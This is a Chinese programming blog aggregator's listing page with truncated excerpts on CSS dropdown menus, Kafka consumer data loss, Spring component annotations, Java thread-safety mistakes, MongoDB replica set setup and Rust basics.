    效果体验：http://hovertree.com/texiao/css/3.htmHTML文件： <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>简洁的HTML+CSS下拉菜单-HoverTree</title>
  • kafka consumer防止数据丢失 kane_xie kafkaoffset commit
    kafka最初是被LinkedIn设计用来处理log的分布式消息系统，因此它的着眼点不在数据的安全性（log偶尔丢几条无所谓），换句话说kafka并不能完全保证数据不丢失。   尽管kafka官网声称能够保证at-least-once，但如果consumer进程数小于partition_num，这个结论不一定成立。   考虑这样一个case，partiton_num=2
  • @Repository、@Service、@Controller 和 @Component mhtbbx DAOspringbeanprototype
    @Repository、@Service、@Controller 和 @Component 将类标识为Bean Spring 自 2.0 版本开始，陆续引入了一些注解用于简化 Spring 的开发。@Repository注解便属于最先引入的一批，它用于将数据访问层 (DAO 层 ) 的类标识为 Spring Bean。具体只需将该注解标注在 DAO类上即可。同时，为了让 Spring 能够扫描类
  • java 多线程高并发读写控制 误区 qifeifei java thread
    先看一下下面的错误代码，对写加了synchronized控制，保证了写的安全，但是问题在哪里呢？ public class testTh7 { private String data; public String read(){ System.out.println(Thread.currentThread().getName() + "read data "
  • mongodb replica set(副本集)设置步骤 tcrct javamongodb
    网上已经有一大堆的设置步骤的了，根据我遇到的问题，整理一下，如下： 首先先去下载一个mongodb最新版，目前最新版应该是2.6 cd /usr/local/bin wget http://fastdl.mongodb.org/linux/mongodb-linux-x86_64-2.6.0.tgz tar -zxvf mongodb-linux-x86_64-2.6.0.t
  • rust学习笔记 wudixiaotie 学习笔记
    1.rust里绑定变量是let，默认绑定了的变量是不可更改的，所以如果想让变量可变就要加上mut。 let x = 1; let mut y = 2; 2.match 相当于erlang中的case，但是case的每一项后都是分号，但是rust的match却是逗号。 3.match 的每一项最后都要加逗号，但是最后一项不加也不会报错，所有结尾加逗号的用法都是类似。 4.每个语句结尾都要加分
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他